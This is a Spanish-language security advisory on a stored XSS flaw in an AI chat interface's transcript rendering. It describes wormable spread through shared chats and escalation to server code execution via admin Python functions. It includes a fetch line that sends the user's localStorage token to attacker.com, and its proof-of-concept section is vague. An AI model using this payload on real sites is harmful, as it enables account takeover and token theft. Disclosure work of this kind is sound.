Resumen de Vulnerabilidad en WebUI
Descripción General
Se ha detectado una grave vulnerabilidad en la forma en que se renderizan ciertas etiquetas HTML en los mensajes de chat en el sistema WebUI. Esta falla permite a los atacantes inyectar código JavaScript en las transcripciones de chat. Este código se ejecuta en el navegador del usuario cada vez que se abre la transcripción, lo que facilita la recuperación del token de acceso del usuario. Esto le otorga al atacante el control completo sobre la cuenta afectada. Las transcripciones pueden ser compartidas con otros usuarios en el mismo servidor o en una comunidad abierta si la opción de "habilitar el intercambio de la comunidad" está activada.
Además, si un administrador se ve afectado, los atacantes pueden llevar a cabo una ejecución remota de código (RCE) en el servidor backend abierto al crear una función que incluya código Python malicioso.
Detalles Técnicos
La vulnerabilidad se clasifica como XSS almacenado (Cross-Site Scripting). Un fragmento de código clave, encontrado en el archivo de WebUI, permite que ciertos mensajes de chat se interpreten como HTML. Esto significa que un atacante puede enviar un mensaje con un código que se ejecute automáticamente cuando otro usuario abra la transcripción.
Por ejemplo, el siguiente ataque sencillo muestra cómo se puede inyectar un código JavaScript:
javascript
fetch("https://attacker.com/?token=" + localStorage.getItem("token"))
Este código roba el token de acceso que se almacena en el almacenamiento local del usuario. Dado que JavaScript tiene acceso a esta información, el atacante puede capturar la sesión del usuario.
Una vez que el atacante crea una transcripción de chat que contiene el código malicioso, puede compartirla fácilmente con otros usuarios del servidor al hacer clic en "compartir". Si la opción de intercambio de la comunidad está activa, también puede cargar transcripciones infectadas a la plataforma https://openwebui.com, donde el XSS almacenado ejecutará el código cuando otros usuarios accedan a ella.
Vulnerabilidad Wormable
La naturaleza de esta vulnerabilidad permite que los ataques sean "wormable", lo que significa que se puede propagar a través de otros perfiles de usuario. Un usuario que recibe una transcripción de chat infectada podría compartirla con otros, creando un efecto dominó que infecta las cuentas de otros miembros de la comunidad.
Potencial de Ejecución Remota de Código (RCE)
Si un atacante obtiene el token de un administrador, puede utilizar la funcionalidad que permite a los administradores ejecutar código Python en el servidor backend. Esto se logra al enviar una solicitud específica que incluye el código malicioso, lo que podría comprometer completamente el servidor y permitir al atacante tomar el control del entorno de backend.
Prueba de Concepto (PoC)
Los atacantes simplemente tendrían que enviar un mensaje con un payload que contenga el código JavaScript necesario para explotar la vulnerabilidad en el servidor de backend, ejemplificado como: http://localhost:8080
.
Impacto General
Los efectos de esta vulnerabilidad son potencialmente devastadores. Los atacantes pueden, a través de un vínculo a una transcripción de chat infectada, tomar el control de las cuentas de otros usuarios en el mismo servidor. Esto no solo compromete la seguridad individual de los usuarios, sino que también puede afectar la integridad y seguridad de la propia plataforma WebUI.
La gravedad de esta situación exige acción inmediata para mitigar el riesgo y proteger tanto a los usuarios como a la infraestructura del sistema. Se recomienda a los administradores que revisen esta vulnerabilidad y consideren implementar medidas adecuadas para evitar su explotación, como deshabilitar la inyección de contenido HTML en las transcripciones de chat y fortalecer las políticas de seguridad de almacenamiento de tokens.